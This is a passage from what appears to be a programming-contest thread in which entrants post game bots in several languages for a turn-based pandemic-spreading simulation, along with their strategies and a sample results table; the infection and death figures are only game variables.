copy1.contagion() copy1.extinction() return copy1[myId].healthy } } fun main(args : Array<String>) { @Suppress("NAME_SHADOWING") val args = args[0].split(';') val round = args[0].toInt() val myId = args[1].toInt() val players : MutableList<Player> = ArrayList() for ( i in 2..args.size-1) { val data = args[i].split('_') players.add(Player(data[0].toInt(), data[1].toInt(), data[2].toInt(), data[3].toInt(), data[4].toInt(), data[5].toDouble() / 100, data[6].toDouble() / 100, data[7].toDouble() / 100)) } val currentGame = Game(players) if (round == 50) { println("CCC") //Extra 30 at end of game. return } for (i in 1..3) { val action = determineBestAction(currentGame, myId) currentGame.doAction(myId, action) print(action) } } fun determineBestAction(game : Game, myId : Int) : Char { if (game[myId].lethalityRate > .02) { //Save the executives!!! return 'I' } else if (game[myId].lethalityRate > 0) { return 'V' } val bestAction = "NMEIVQCOBP".maxBy { game.calculateBenefit(it, myId) }!! return bestAction } ``` Compile with: `kotlinc WICKED.kt` Run with: `kotlin wicked.WICKEDKt` # PFC, Kotlin Attempts to release the disease on everyone. ``` package pfc import java.util.* fun clamp(value : Double, floor : Double, ceil : Double = Double.POSITIVE_INFINITY) = Math.max(Math.min(value, ceil), floor) fun clamp(value : Int, floor : Int, ceil : Int = Integer.MAX_VALUE) = Math.max(Math.min(value, ceil), floor) data class Player( val id : Int, var healthy : Int, var infected : Int, var dead : Int, var infectionRate : Int, var contagionRate : Double, var lethalityRate : Double, var migrationRate : Double) class Game(val players : List<Player>) { fun doAction(playerId: Int, a: Char) { val player = players.first { it.id == playerId } with(player) { when (a) { 'N' -> {} 'M' -> infectionRate = clamp(infectionRate - 4, 0) 'E' -> contagionRate = clamp(contagionRate - .08, 0.0, 1.0) 'I' -> lethalityRate = clamp(lethalityRate - .04, 0.0, 1.0) 'V' -> { infectionRate = clamp(infectionRate - 1, 0) contagionRate = clamp(contagionRate - .04, 0.0, 1.0) lethalityRate = clamp(lethalityRate - .02, 0.0, 1.0) } 'C' -> { val cured = Math.min(infected, 10) infected -= cured healthy += cured } 'Q' -> infected = clamp(infected - 30, 0) 'O' -> migrationRate = clamp(migrationRate + .1, 0.0, 1.0) 'B' -> migrationRate = clamp(migrationRate - .1, 0.0, 1.0) 'T' -> { players.forEach { val infected = Math.min(it.healthy, 4) it.healthy -= infected it.infected += infected } } 'W' -> { players.forEach { it.infectionRate++ it.lethalityRate = clamp(it.lethalityRate + .02, 0.0, 1.0) } } 'D' -> { players.forEach { it.infectionRate++ it.contagionRate = clamp(it.contagionRate + .02, 0.0, 1.0) } } 'P' -> { players.forEach { it.infectionRate = clamp(it.infectionRate - 1, 0) it.contagionRate = clamp(it.contagionRate - .01, 0.0, 1.0) it.lethalityRate = clamp(it.lethalityRate - .01, 0.0, 1.0) } } else -> throw IllegalArgumentException("Invalid action: $a") } } } fun copy() = Game(players.map { it.copy() }) fun migration() { var migratingHealthy = 0 var migratingInfected = 0 var totalMigratingWeight = 0.0 players.forEach { migratingHealthy += (it.healthy * it.migrationRate).toInt() migratingInfected += (it.infected * it.migrationRate).toInt() totalMigratingWeight += it.migrationRate it.healthy = (it.healthy * (1 - it.migrationRate)).toInt() it.infected *= (it.healthy * (1 - it.migrationRate)).toInt() } players.forEach { it.healthy += (migratingHealthy * it.migrationRate / totalMigratingWeight).toInt() it.infected += (migratingInfected * it.migrationRate / totalMigratingWeight).toInt() } } fun infection() { players.forEach { val infected = Math.min(it.healthy, it.infectionRate) it.healthy -= infected it.infected += infected } } fun contagion() { players.forEach { val infected = Math.min(it.healthy, (it.infected * it.contagionRate).toInt()) it.healthy -= infected it.infected += infected } } fun extinction() { players.forEach { val killed = (it.infected * it.lethalityRate).toInt() it.infected -= killed it.dead += killed } } operator fun get(playerId : Int) = players.first { it.id == playerId } fun calculateBenefit(action : Char, myId: Int) : Int { val copy1 = copy() copy1.doAction(myId, action) copy1.migration() copy1.infection() copy1.contagion() copy1.extinction() return copy1.players.sumBy { it.infected } } } fun main(args : Array<String>) { @Suppress("NAME_SHADOWING") val args = args[0].split(';') @Suppress("UNUSED_VARIABLE") val round = args[0].toInt() val myId = args[1].toInt() val players : MutableList<Player> = ArrayList() for ( i in 2..args.size-1) { val data = args[i].split('_') players.add(Player(data[0].toInt(), data[1].toInt(), data[2].toInt(), data[3].toInt(), data[4].toInt(), data[5].toDouble() / 100, data[6].toDouble() / 100, data[7].toDouble() / 100)) } val currentGame = Game(players) for (i in 1..3) { val action = determineBestAction(currentGame, myId) currentGame.doAction(myId, action) print(action) } } fun determineBestAction(game : Game, myId : Int) : Char { val bestAction = "NMEIVCQOBTWDP".maxBy { game.calculateBenefit(it, myId) }!! return bestAction } ``` Compile with: `kotlinc PFC.kt` Run with: `kotlin pfc.PFCKt` # Terrorist, Kotlin Tries to make all people dead. ``` package terrorist import java.util.* fun clamp(value : Double, floor : Double, ceil : Double = Double.POSITIVE_INFINITY) = Math.max(Math.min(value, ceil), floor) fun clamp(value : Int, floor : Int, ceil : Int = Integer.MAX_VALUE) = Math.max(Math.min(value, ceil), floor) data class Player( val id : Int, var healthy : Int, var infected : Int, var dead : Int, var infectionRate : Int, var contagionRate : Double, var lethalityRate : Double, var migrationRate : Double) class Game(val players : List<Player>) { fun doAction(playerId: Int, a: Char) { val player = players.first { it.id == playerId } with(player) { when (a) { 'N' -> {} 'M' -> infectionRate = clamp(infectionRate - 4, 0) 'E' -> contagionRate = clamp(contagionRate - .08, 0.0, 1.0) 'I' -> lethalityRate = clamp(lethalityRate - .04, 0.0, 1.0) 'V' -> { infectionRate = clamp(infectionRate - 1, 0) contagionRate = clamp(contagionRate - .04, 0.0, 1.0) lethalityRate = clamp(lethalityRate - .02, 0.0, 1.0) } 'C' -> { val cured = Math.min(infected, 10) infected -= cured healthy += cured } 'Q' -> infected = clamp(infected - 30, 0) 'O' -> migrationRate = clamp(migrationRate + .1, 0.0, 1.0) 'B' -> migrationRate = clamp(migrationRate - .1, 0.0, 1.0) 'T' -> { players.forEach { val infected = Math.min(it.healthy, 4) it.healthy -= infected it.infected += infected } } 'W' -> { players.forEach { it.infectionRate++ it.lethalityRate = clamp(it.lethalityRate + .02, 0.0, 1.0) } } 'D' -> { players.forEach { it.infectionRate++ it.contagionRate = clamp(it.contagionRate + .02, 0.0, 1.0) } } 'P' -> { players.forEach { it.infectionRate = clamp(it.infectionRate - 1, 0) it.contagionRate = clamp(it.contagionRate - .01, 0.0, 1.0) it.lethalityRate = clamp(it.lethalityRate - .01, 0.0, 1.0) } } else -> throw IllegalArgumentException("Invalid action: $a") } } } fun copy() = Game(players.map { it.copy() }) fun migration() { var migratingHealthy = 0 var migratingInfected = 0 var totalMigratingWeight = 0.0 players.forEach { migratingHealthy += (it.healthy * it.migrationRate).toInt() migratingInfected += (it.infected * it.migrationRate).toInt() totalMigratingWeight += it.migrationRate it.healthy = (it.healthy * (1 - it.migrationRate)).toInt() it.infected *= (it.healthy * (1 - it.migrationRate)).toInt() } players.forEach { it.healthy += (migratingHealthy * it.migrationRate / totalMigratingWeight).toInt() it.infected += (migratingInfected * it.migrationRate / totalMigratingWeight).toInt() } } fun infection() { players.forEach { val infected = Math.min(it.healthy, it.infectionRate) it.healthy -= infected it.infected += infected } } fun contagion() { players.forEach { val infected = Math.min(it.healthy, (it.infected * it.contagionRate).toInt()) it.healthy -= infected it.infected += infected } } fun extinction() { players.forEach { val killed = (it.infected * it.lethalityRate).toInt() it.infected -= killed it.dead += killed } } operator fun get(playerId : Int) = players.first { it.id == playerId } fun calculateBenefit(action : Char, myId: Int) : Int { val copy1 = copy() copy1.doAction(myId, action) copy1.migration() copy1.infection() copy1.contagion() copy1.extinction() return copy1.players.sumBy { it.dead } } } fun main(args : Array<String>) { @Suppress("NAME_SHADOWING") val args = args[0].split(';') @Suppress("UNUSED_VARIABLE") val round = args[0].toInt() val myId = args[1].toInt() val players : MutableList<Player> = ArrayList() for ( i in 2..args.size-1) { val data = args[i].split('_') players.add(Player(data[0].toInt(), data[1].toInt(), data[2].toInt(), data[3].toInt(), data[4].toInt(), data[5].toDouble() / 100, data[6].toDouble() / 100, data[7].toDouble() / 100)) } if (round == 50) { println("TTT") //Let's mess up the scoreboard :D return } val currentGame = Game(players) for (i in 1..3) { val action = determineBestAction(currentGame, myId) currentGame.doAction(myId, action) print(action) } } fun determineBestAction(game : Game, myId : Int) : Char { if (game[myId].lethalityRate > .02) { //We don't want to hurt ourselves. return 'I' } else if (game[myId].lethalityRate > 0) { return 'V' } val bestAction = "NMEIVCQOBTWDP".maxBy { game.calculateBenefit(it, myId) }!! return bestAction } ``` Compile with: `kotlinc Terrorist.kt` Run with: `kotlin terrorist.TerroristKt` [Answer] ## Madagascar, Java Yep, going the Madagascar route. The first round, we `BBB` to close our borders. Otherwise, it gives a cure, and focuses on local vaccines. ``` public class Madagascar{ public static void main(String[]args){ Boolean bool = false; bool = args[0].startsWith("1;"); if(bool) { System.out.println("BBB"); } else { System.out.println("CVV"); } } } ``` Edit1 - I more-Madagascar'd Edit2 - Thanks @Geobits for the `startsWith` reminder [Answer] # Salt, Kotlin This bot survives until all nasty players are dead. After that, it cures its population and repopulates the town with healthy people. This bot has 5 steps: 1. Close borders. 2. Allow the infected to die, but not too quickly (finding exactly how fast too quickly is is the hard part). 3. Prevent the infected from infecting the healthy. 4. Cure the infected (with salt :P ). 5. Reproduce. Here it is: ``` package salt import java.io.File import java.util.* data class Player( val id : Int, var healthy : Int, var infected : Int, var dead : Int, var infectionRate : Int, var contagionRate : Int, var lethalityRate : Int, var migrationRate : Int) fun main(args : Array<String>) { @Suppress("NAME_SHADOWING") val args = args[0].split(';') val round = args[0].toInt() val myId = args[1].toInt() val players : MutableList<Player> = ArrayList() for ( i in 2..args.size-1) { val data = args[i].split('_') players.add(Player(data[0].toInt(), data[1].toInt(), data[2].toInt(), data[3].toInt(), data[4].toInt(), data[5].toInt(), data[6].toInt(), data[7].toInt())) } if (round == 50) { println("CCC") //Extra 30 at end of game. return } var actionsLeft = 3 val me = players.first { it.id == myId } val dataFile = File("Salt.txt") val lastRoundInfected : Int var roundsInHole : Int if (round == 1) { lastRoundInfected = 1 roundsInHole = 0 } else { val lines = dataFile.readLines() lastRoundInfected = lines[0].toInt() roundsInHole = lines[1].toInt() } val wantedInfected = lastRoundInfected * Math.pow(1/1.5, 1.0/5) * (if (round % 5 == 0 && round != 0) 1.5 else 1.0) while (me.migrationRate > 0) { print('B') //Close borders me.migrationRate = Math.max(0, me.migrationRate - 10) actionsLeft-- } if (me.infected <= wantedInfected) { //Our infected are dieing too quickly roundsInHole++ } else { roundsInHole = Math.max(0, roundsInHole - 1) } if (me.lethalityRate > 0) { var lethalityRateDelta = roundsInHole * 2 while (lethalityRateDelta > 0 && me.lethalityRate > 0 && actionsLeft > 0) { if (lethalityRateDelta == 2 || me.lethalityRate <= 2) { lethalityRateDelta -= 2 print('V') //Research vaccines me.infectionRate = Math.max(0, me.infectionRate - 1) me.contagionRate = Math.max(0, me.contagionRate - 4) me.lethalityRate = Math.max(0, me.lethalityRate - 2) actionsLeft-- } else { lethalityRateDelta -= 4 print('I') me.lethalityRate = Math.max(0, me.lethalityRate - 4) actionsLeft-- } } } dataFile.writeText("${me.infected}\n$roundsInHole") while (actionsLeft > 0) { if (me.infectionRate + me.contagionRate * me.infected / 100 <= 0) { break } val mWeight = Math.min(me.infectionRate, 4) val eWeight = Math.min(me.contagionRate, 8) * me.infected / 100 val vWeight = Math.min(me.contagionRate, 4) * me.infected / 100 + Math.min(me.infectionRate, 1) if (mWeight > eWeight && mWeight > vWeight) { print('M') //Research microbiology me.infectionRate = Math.max(0, me.infectionRate - 4) } else if (eWeight > vWeight){ print('E') //Research epidemiology me.contagionRate = Math.max(0, me.contagionRate - 8) } else { print('V') //Research vaccines me.infectionRate = Math.max(0, me.infectionRate - 1) me.contagionRate = Math.max(0, me.contagionRate - 4) me.lethalityRate = Math.max(0, me.lethalityRate - 2) } actionsLeft-- } while (actionsLeft > 0) { if (me.infected <= 0) { break } print('C') //Cure val cured = Math.min(me.infected, 10) me.infected -= cured me.healthy += cured actionsLeft-- } while (actionsLeft > 0) { print('N') //Do nothing actionsLeft-- } return } ``` Compile with: `kotlinc Salt.kt` Run with: `kotlin salt.SaltKt` **EDIT:** Higher likelihood of surviving until most of the "end the world" bots are dead. Example results: ``` 1. Salt (247, 12, 280) 2. InfectedTown (30, 2016, 843) 3. ZombieState (30, 1030, 609) 4. WICKED (30, 413, 222) 5. Triage (18, 965, 706) 6. Mooch (18, 657, 597) 7. MadScienceBot (18, 305, 647) 8. TheKeeper (13, 0, 158) 9. FamilyValues (10, 110, 373) 10. Madagascar (2, 0, 271) 11. Terrorist (0, 1358, 651) 12. InfectionBot (0, 1217, 830) 13. Medic (0, 27, 340) 14. MedicBot (0, 1, 200) 15. UndecidedBot (0, 0, 33) 16. Researcher (0, 0, 63) 17. TheCure (0, 0, 71) 18. TrumpBot (0, 0, 88) 19. WeaponOfMassDissemination (0, 0, 137) 20. Strategist (0, 0, 142) 21. PassiveBot (0, 0, 149) 22. DisseminationBot (0, 0, 152) 23. PassiveBot (0, 0, 155) 24. Crossroads (0, 0, 164) 25. InfectedHaven (0, 0, 170) 26. Socialist (0, 0, 172) 27. BioterroristBot (0, 0, 175) 28. XenoBot (0, 0, 184) 29. ThePacifist (0, 0, 199) 30. CullBot (0, 0, 294) 31. AllOrNothing (0, 0, 327) ``` [Answer] # PureBot (Haskell) PureBot hates one thing: Side effects! It will try to handle all side effects, and if everything goes well, it will reduce the amount of side effects produced by the outside world. It also ignores all side effects in its calculations. This makes it play significantly better against passive enemies (that do not change global rates). If `infected`, `infection`, `contagion`, `lethality` and `migration` are all zero, it will help the other bots with the `P` (for `Pure`) command. ``` module Main where import Control.Monad (void) import Data.List (find) import System.Environment (getArgs) import System.Exit (exitFailure) import Text.Parsec -- | The world data World = World { worldRound :: Int -- ^ The current round , worldTownID :: Int -- ^ The current town ID , worldTowns :: [Town] -- ^ List of all towns in the world } deriving (Show) -- | A town in the world data Town = Town { townID :: Int -- ^ The town ID , townDeath :: Int -- ^ The number of death people in the town , townHealthy :: Int -- ^ The number of healthy people in the town , townInfected :: Int -- ^ The number of infected people in the town , townInfectionRate :: Int -- ^ The infaction rate of the town , townContagionRate :: Int -- ^ The contagion rate of the town , townLethalityRate :: Int -- ^ The lethality rate of the town , townMigrationRate :: Int -- ^ The migration rate of the town } deriving (Show) -- | Parse a Int parseInt :: Parsec String () Int parseInt = do sign <- option '+' $ oneOf "+-" numb <- read <$> many1 digit return $ if sign == '+' then numb else negate numb -- | Parse a town parseTown :: Parsec String () Town parseTown = do nID <- parseInt void $ char '_' nHealthy <- parseInt void $ char '_' nInfected <- parseInt void $ char '_' nDeath <- parseInt void $ char '_' nInfectionRate <- parseInt void $ char '_' nContagionRate <- parseInt void $ char '_' nLethalityRate <- parseInt void $ char '_' nMigrationRate <- parseInt return Town { townID = nID , townDeath = nDeath , townHealthy = nHealthy , townInfected = nInfected , townInfectionRate = nInfectionRate , townContagionRate = nContagionRate , townLethalityRate = nLethalityRate , townMigrationRate = nMigrationRate } -- | Parse a world parseWorld :: Parsec String () World parseWorld = do nRound <- parseInt void $ char ';' nTownID <- parseInt void $ char ';' towns <- parseTown `sepBy` char ';' let nTowns = length towns if nTowns < nTownID then let nExpected = (nTownID - nTowns) in fail $ "expected at least " ++ show nExpected ++ " more town(s)" else return World { worldRound = nRound , worldTownID = nTownID , worldTowns = towns } -- | Update a town updateTown :: World -> Town -> String updateTown world town = take 3 $ lastRound ++ prepareForReproduction ++ decreaseInfected ++ decreaseMigration ++ decreaseInfection ++ decreaseContagion ++ decreaseLethality ++ decreaseWorldWide where -- | The current round number nRound = worldRound world -- | The current number of infected nInfected = townInfected town -- | The current lethality rate nLethalityRate = townLethalityRate town -- | The current migration rate nMigrationRate = townMigrationRate town -- | The current infection rate nInfectionRate = townInfectionRate town -- | The current contagion rate nContagionRate = townContagionRate town -- | What to do on the last round lastRound | nRound == 50 = "CCC" | otherwise = "" -- | What to do in order to prepare for reproduction prepareForReproduction | (nRound+1) `mod` 5 == 0 = decreaseInfected | otherwise = "" -- | What to do in order to decrease infected decreaseInfected | nInfected > 25 = "CCC" | nInfected > 15 = "CC" | nInfected > 5 = "C" | otherwise = "" -- | What to do in order to decrease lethality decreaseLethality | nLethalityRate > 4 = "I" | otherwise = "" -- | What to do in order to decrease migration decreaseMigration | nMigrationRate > 0 = "B" | otherwise = "" -- | What to do in order to decrease infection decreaseInfection | nInfectionRate > 0 = "M" | otherwise = "" -- | What to do in order to decrease contagion decreaseContagion | nContagionRate > 4 = "E" | otherwise = "" -- | What to do if everything else has been taken care of decreaseWorldWide = "PPP" -- | Update a world updateWorld :: World -> Maybe String updateWorld world = updateTown world <$> town where town = find ((==worldTownID world) . townID) (worldTowns world) -- | Main program entry point main :: IO () main = do cmds <- concat <$> getArgs case parse parseWorld "stdin" cmds of Left err -> print err >> exitFailure Right world -> case updateWorld world of Just cmd -> putStrLn cmd Nothing -> putStrLn "Failed to update world!" >> exitFailure ``` run with: `runhaskell PureBot.hs` [Answer] # Infected Town, Java Infected town doesn't care if people are infested as long as they don't die. It's why it will decrease the local lethality rate as much as possible. When the lethality rate is already very low, it use its remaining actions to increase the global lethality rate before decreasing it's own. Since it tries to be the biggest town around, the immigration balance can only be negative, so its first action is to close the borders. During the last turn, the lethality rate has no effect and the ranking is done on the number of sane people in the town, so it cures 30 people and hopes that it will be enough. ``` import java.util.ArrayList; import java.util.List; public class InfectedTown { int playerID; State thisState; public static void main(String[] args){ new InfectedTown().sleep(args[0].split(";")); } private void sleep(String[] args) { // Parse arguments int round = Integer.parseInt(args[0]); playerID = Integer.parseInt(args[1]); for (int i = 2; i < args.length; i++){ thisState = new State(args[i]); if(thisState.isMine()){ break; } } // Special actions on turn 1 and 50. String action=""; if(round == 1){ action = "B"; } else if(round == 50){ action="CCC"; } while(action.length()<3){ if(thisState.lethalityRate<=2 && action.length()<2){ // We still have at least one action: lets increase the // lethality rate for everyone, we will decrease it with our // remaining actions. action+="W"; thisState.lethalityRate+=2; } else if (thisState.lethalityRate>=4 ||(thisState.lethalityRate>0 && action.length()==2)) { // Don't let people die! action+="I"; thisState.lethalityRate-=4; } else { // Nothing better to do, lets distract other towns by // increasing some useless values action+="D"; } } System.out.println(action); } private class State { public int ownerId; public int lethalityRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); lethalityRate = Integer.parseInt(args[6]); } public boolean isMine(){ return ownerId == playerID; } } } ``` [Answer] ## CullBot, Python 3 Pretty much the standard self-protection bot that closes borders and tries to lower infection rate in the town. It does so by culling animal vectors (since infected people have no effect on infection rate it must have something to do with non-human vectors; basically this is "Research microbiology"). Occasionally it "culls" infected humans too... You know, AI makes mistakes too... ``` # Parsing code from sys import argv args = argv[1].split(";") n = int(args[0]) pid = int(args[1]) dic = ["pid","healthy","infected","dead","infection","contagion","lethality","migration"] players = [] for p in args[2:]: players += [{dic[i]:int(p.split("_")[i]) for i in range(len(p.split("_")))}] if int(p.split("_")[0]) == pid: me = players[-1] # Bot code actions = "" nextInfected = me["infected"]*me["contagion"]/100 + me["infection"] + me["infected"] - me["infected"]*me["lethality"]/100 if n%5 == 4: nextInfected *= 1.5 if n == 1: actions += "BM" if nextInfected*1.3 > 10: actions += "C" elif me["infection"] > 6: actions += "M" elif me["infection"] > 4: actions += "V" else: actions += "E" print(actions) exit() elif n == 50: print("CCC") exit() if nextInfected*1.2 > 30: if me["infected"] >= 23: actions += "Q" me["infected"] -= 30 else: actions += "C" me["infected"] -= 10 elif me["infection"] > 0: actions += "M" me["infection"] -= 4 elif me["contagion"] >= 6: actions += "E" me["contagion"] -= 8 elif me["infected"] > 0: actions += "C" me["infected"] -= 10 else: actions += "E" me["contagion"] -= 8 if me["infection"] >= 3: actions += "M" me["infection"] -= 4 elif me["infected"] >= 7 : actions += "C" me["infected"] -= 10 elif me["infection"] > 0 and me["contagion"] >= 3: actions += "V" me["infection"] -= 1 me["contagion"] -= 4 elif me["contagion"] >= 6: actions += "E" me["contagion"] -= 8 elif me["infection"] > 0: actions += "M" me["infection"] -= 4 elif me["infected"] > 0: actions += "C" me["infected"] -= 10 else: actions += "E" me["contagion"] -= 8 if me["infection"] >= 3: actions += "M" me["infection"] -= 4 elif me["infected"] >= 7 : actions += "C" me["infected"] -= 10 elif me["infection"] > 0 and me["contagion"] >= 3: actions += "V" me["infection"] -= 1 me["contagion"] -= 4 elif me["contagion"] >= 6: actions += "E" me["contagion"] -= 8 elif me["infection"] > 0: actions += "M" me["infection"] -= 4 elif me["infected"] > 0: actions += "C" me["infected"] -= 10 else: actions += "E" me["contagion"] -= 8 if actions[-2:] == "VV": actions = actions[0] + "ME" print(actions) ``` [Answer] ## EvilBot, Java EvilBot doesn't care about curing people. As long as they stay alive (kinda). Tries to make the rest of the world sick. In my local testing, BlunderBot was doing much better until I also introduced EvilBot. Seems to shake things up a bit. ``` import java.util.ArrayList; import java.util.List; public class EvilBot { int round; int phase; int playerID; int thisTownID; List<State> states; List<State> otherStates; State thisState; String action = ""; int cc=0; // command count public static void main(String[] args){ new EvilBot().sleep(args[0].split(";")); } private void action(String newAction) { action += newAction; cc+= newAction.length(); if (cc>=3) { System.out.println(action.substring(0, 3)); System.exit(0);; } } private void sleep(String[] args) { round = Integer.parseInt(args[0]); thisTownID = Integer.parseInt(args[1]); states = new ArrayList<>(); otherStates = new ArrayList<>(); for (int i = 2; i < args.length; i++){ states.add(new State(args[i])); } for (State state : states){ if (state.isMine()) { thisState = state; } else { otherStates.add(state); } } // Round specific commands if (round == 1 ) { action("B"); } if (round == 50) { action("CCC"); } for (int i=0;i<3;i++){ if (thisState.getLethalityRate() >= 4) { action("I"); thisState.lethalityRate -= 4;} } // Nothing else to do, cause trouble. action("DWT"); } private class State { private final int ownerId; private int healthy; private int infected; private int dead; private int infectionRate; private int contagionRate; private int lethalityRate; private int migrationRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); healthy = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); dead = Integer.parseInt(args[3]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); migrationRate = Integer.parseInt(args[7]); } public int getOwnerId() { return ownerId; } public int getHealthy() { return healthy; } public int getInfected() { return infected; } public int getDead() { return dead; } public int getInfectionRate() { return infectionRate; } public int getContagionRate() { return contagionRate; } public int getLethalityRate() { return lethalityRate; } public int getMigrationRate() { return migrationRate; } public boolean isMine(){ return getOwnerId() == thisTownID; } } } ``` [Answer] # Weapon of Mass Dissemination ``` public class WMDbot{ public static void main(String[]a){ System.out.println("WMD"); } } ``` The WMD bot is a jerk: keeps its own infection rate low and raises everyone else's. Bot constructed purely for the acronym, likely not a strong contender, but will make the competitive field a little more...interesting. Code borrowed from TheCure and just altered its action string. [Answer] # Triage, Java ``` import java.util.ArrayList; import java.util.List; public class Triage { int round; int phase; int playerID; List<State> states; List<State> otherStates; State thisState; public static void main(String[] args){ new Triage().sleep(args[0].split(";")); } private void sleep(String[] args) { round = Integer.parseInt(args[0]); playerID = Integer.parseInt(args[1]); states = new ArrayList<>(); otherStates = new ArrayList<>(); for (int i = 2; i < args.length; i++){ states.add(new State(args[i])); } for (State state : states){ if (state.isMine()) { thisState = state; } else { otherStates.add(state); } } if (round == 50) { System.out.println("CCC"); return; } String output = ""; while( thisState.lethalityRate >= 4) { output += "I"; thisState.lethalityRate -= 4; } while( thisState.lethalityRate > 0) { output += "V"; thisState.lethalityRate -= 2; thisState.contagionRate -= 4; thisState.infectionRate -= 1; } while( thisState.contagionRate >= 8) { output += "E"; thisState.contagionRate -= 8; } while( thisState.contagionRate > 0) { output += "V"; thisState.lethalityRate -= 2; thisState.contagionRate -= 4; thisState.infectionRate -= 1; } while( thisState.infectionRate > 0) { output += "M"; thisState.infectionRate -= 4; } while( output.length() < 3) { output += "C"; } System.out.println(output.substring(0,3)); } private class State { private final int ownerId; public int sane; public int infected; public int dead; public int infectionRate; public int contagionRate; public int lethalityRate; public int migrationRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); sane = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); dead = Integer.parseInt(args[3]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); migrationRate = Integer.parseInt(args[7]); } public int getOwnerId() { return ownerId; } public boolean isMine(){ return getOwnerId() == playerID; } } } ``` First keeps its citizens alive, then keeps them from infecting others, then cures them. # Mooch, Java ``` import java.util.ArrayList; import java.util.List; public class Mooch { int round; int phase; int playerID; List<State> states; List<State> otherStates; State thisState; public static void main(String[] args){ new Mooch().sleep(args[0].split(";")); } private void sleep(String[] args) { round = Integer.parseInt(args[0]); playerID = Integer.parseInt(args[1]); states = new ArrayList<>(); otherStates = new ArrayList<>(); for (int i = 2; i < args.length; i++){ states.add(new State(args[i])); } for (State state : states){ if (state.isMine()) { thisState = state; } else { otherStates.add(state); } } if (round == 50) { System.out.println("CCC"); return; } String output = ""; while( thisState.migrationRate < 100) { output += "O"; thisState.migrationRate += 10; } while( thisState.lethalityRate >= 4) { output += "I"; thisState.lethalityRate -= 4; } while( thisState.lethalityRate > 0) { output += "V"; thisState.lethalityRate -= 2; thisState.contagionRate -= 4; thisState.infectionRate -= 1; } while( thisState.contagionRate >= 8) { output += "E"; thisState.contagionRate -= 8; } while( thisState.contagionRate > 0) { output += "V"; thisState.lethalityRate -= 2; thisState.contagionRate -= 4; thisState.infectionRate -= 1; } while( thisState.infectionRate > 0) { output += "M"; thisState.infectionRate -= 4; } while( output.length() < 3) { output += "C"; } System.out.println(output.substring(0,3)); } private class State { private final int ownerId; public int sane; public int infected; public int dead; public int infectionRate; public int contagionRate; public int lethalityRate; public int migrationRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); sane = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); dead = Integer.parseInt(args[3]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); migrationRate = Integer.parseInt(args[7]); } public int getOwnerId() { return ownerId; } public boolean isMine(){ return getOwnerId() == playerID; } } } ``` The same as Triage, except it starts off by completely opening its borders. This ensures a giant perpetual population of infected, inconveniencing the other bots and potentially serving as a tie-breaker. [Answer] ## InfectedHaven, Python 3 A safehaven for the infected with closed borders. Tries to minimize lethality. If minimized, tries to increase lethality in other states to "benefit" the local infected. ``` # parsing code from sys import argv args = argv[1].split(";") n = int(args[0]) pid = int(args[1]) dic = ["pid","healthy","infected","dead","infection","contagion","lethality","migration"] players = [] for p in args[2:]: players += [{dic[i]:int(p.split("_")[i]) for i in range(len(p.split("_")))}] if int(p.split("_")[0]) == pid: me = players[-1] # bot code actions ="" if n == 50: print("CCC") exit() elif n == 1: actions += "B" if me["lethality"] <= 6: actions += "WI" else: actions += "II" print(actions) exit() if me["lethality"] >= 9: actions += "III" elif me["lethality"] >= 3: actions += "WII" else: actions += "WWI" print(actions) ``` [Answer] ## Graymalkin, Java Graymalkin's primary focus is reducing the infection rate to 0 and growing its healthy population. It doesn't believe in quarantines... except from the outside world of course. My first post - critique welcome. :) ``` import java.util.ArrayList; import java.util.List; public class Graymalkin { int round; int phase; int playerID; int thisTownID; List<State> states; List<State> otherStates; State thisState; public static void main(String[] args) { new Graymalkin().sleep(args[0].split(";")); } private void sleep(String[] args) { round = Integer.parseInt(args[0]); playerID = Integer.parseInt(args[1]); states = new ArrayList<>(); otherStates = new ArrayList<>(); for (int i = 2; i < args.length; i++) { states.add(new State(args[i])); } for (State state : states) { if (state.isMine()) { thisState = state; } else { otherStates.add(state); } } if (round == 50) { System.out.println("CCC"); return; } String out = ""; if (round == 1) { out += "B"; } if (thisState.infectionRate < 10 && thisState.infected >= 10) { out += "C"; thisState.infected -= 10; } while (thisState.infectionRate >= 4) { out += "M"; thisState.infectionRate -= 4; } while (thisState.infectionRate > 0) { out += "V"; thisState.infectionRate -= 1; } while (out.length() < 3) { if (thisState.infected > 0) { out += "C"; thisState.infected -= 10; } else if (thisState.contagionRate > 0) { out += "E"; thisState.contagionRate -= 8; } else if (thisState.lethalityRate > 0) { out += "I"; thisState.lethalityRate -= 4; } else { out += "N"; } } System.out.println(out.substring(0, 3)); } private class State { private final int ownerId; private int sane; private int infected; private int dead; private int infectionRate; private int contagionRate; private int lethalityRate; private int migrationRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); sane = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); dead = Integer.parseInt(args[3]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); migrationRate = Integer.parseInt(args[7]); } public int getOwnerId() { return ownerId; } public int getSane() { return sane; } public int getInfected() { return infected; } public int getDead() { return dead; } public int getInfectionRate() { return infectionRate; } public int getContagionRate() { return contagionRate; } public int getLethalityRate() { return lethalityRate; } public int getMigrationRate() { return migrationRate; } public boolean isMine() { return getOwnerId() == playerID; } } } ``` [Answer] ## Crossroads, Python2 Crossroads is a democratic nation with a focus on futuristic scientific values. Like most democracies, most decisions are made by unscientifically-trained, selfish, and dysfunctional committees, which frequently make very strange and poor--apparently random, even--decisions. However, the government is ultimately working for the common good of its people and the human race. ``` import sys import random import itertools def sample_wr(population, k): "Chooses k random elements (with replacement) from a population" n = len(population) _random, _int = random.random, int # speed hack return [population[_int(_random() * n)] for i in itertools.repeat(None, k)] a = sys.argv[1].split(';') round = int(a[0]) myid = a[1] players = {} Sane = 0 Infected = 1 Dead = 2 